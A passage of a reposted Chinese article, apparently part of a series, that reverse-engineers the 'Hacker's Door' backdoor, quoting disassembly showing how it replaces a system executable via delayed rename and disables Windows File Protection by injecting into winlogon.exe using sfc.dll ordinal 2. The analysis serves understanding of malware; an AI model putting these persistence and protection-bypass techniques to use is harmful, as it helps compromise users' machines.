手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

“黑客之门”后门的魅力:感染与加载

来源:互联网 作者:west263.com 时间:2008-02-23
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

.data:1000C7AC     push  ecx       ; lpNewFileName
.data:1000C7AD     push  edx       ; lpExistingFileName
.data:1000C7AE     call  MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);

  小知识:MSDN中对MoveFileEx()函数的解释为:
BOOL MoveFileEx(
LPCTSTR lpExistingFileName, // pointer to the name of the existing file
LPCTSTR lpNewFileName,   // pointer to the new name for the file
DWORD dwFlags        // flag that specifies how to move file
);

  这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。

  灭掉系统文件保护

  一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。

  大家都知道,在Windows 2000和Windows XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题, TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?
这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。

  发现如下的代码:

.data:1000BBB0 LoadSFCDLL proc near  ; CODE XREF: sub_1000BC70 B7
.data:1000BBB0   push  esi
.data:1000BBB1   xor   esi, esi
.data:1000BBB3   call  GetVersion ; Get current version number of Windows
.data:1000BBB3   ; and information about the operating system platform
.data:1000BBB9   cmp   al, 5
.data:1000BBBB   jnz   short loc_1000BBDF
.data:1000BBBD   xor   ecx, ecx ;此时为Windows2000系统
.data:1000BBBF   mov   cl, ah
.data:1000BBC1   test  cl, cl
.data:1000BBC3   jnz   short loc_1000BBD2
.data:1000BBC5   push  offset aSfc_dll ; lpLibFileName
.data:1000BBCA   call  LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0   pop   esi
.data:1000BBD1   retn
.data:1000BBD2 loc_1000BBD2:     ; CODE XREF: LoadSFCDLL 13 j
.data:1000BBD2   push  offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7   call  LoadLibraryA
.data:1000BBDD   pop   esi
.data:1000BBDE   retn

  上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT 5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:

sub   esp, 228h
.data:1000BC76   lea   eax, [esp 228h hObject]
.data:1000BC7A   push  ebx
.data:1000BC7B   push  esi
.data:1000BC7C   push  edi
.data:1000BC7D   push  offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82   push  0
.data:1000BC84   push  offset aDS   ; "%d/%s"
.data:1000BC89   push  1Fh
.data:1000BC8B   mov   edi, ecx
.data:1000BC8D   push  eax
.data:1000BC8E   call  sub_10008C60
.data:1000BC93   add   esp, 14h
.data:1000BC96   lea   ecx, [esp 234h hObject]
.data:1000BC9A   push  ecx       ; lpMultiByteStr
.data:1000BC9B   call  sub_100016CC  //这个子函数就是用来得到进程ID
.data:1000BCA0   cmp   eax, 0FFFFFFFDhSFC
.data:1000BCA3   jb   short loc_1000BCDB
.data:1000BCA5   push  offset aCanTGetWinlogo ; "Can't get winlogon process id!\r\n"

  上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:

.data:1000BCDB   push  eax       ; dwProcessId
.data:1000BCDC   push  0       ; bInheritHandle
.data:1000BCDE   push  1F0FFFh     ; dwDesiredAccess
.data:1000BCE3   call  OpenProcess ;打开目标进程
.data:1000BCE9   mov   ebx, eax
.data:1000BCEB   test  ebx, ebx
.data:1000BCED   jnz   short loc_1000BD25

  上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:

.data:1000BD25   mov ecx, edi
.data:1000BD27   call  LoadSFCDLL
.data:1000BD2C   mov esi, eax
.data:1000BD2E   test  esi, esi
.data:1000BD30   jnz  short loc_1000BD6F
.data:1000BD6F   push 2       ;函数序号为2
.data:1000BD71   push esi       ;SFC.dll的 hModule
.data:1000BD72   call  GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78   test  eax, eax
.data:1000BD7A   mov   [edi 10h], eax
.data:1000BD7D   jnz   short loc_1000BDC3

  可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:

.data:1000BDC3   push  eax       ; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4   push  ebx       ; Winlogon.exe进程的句柄

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!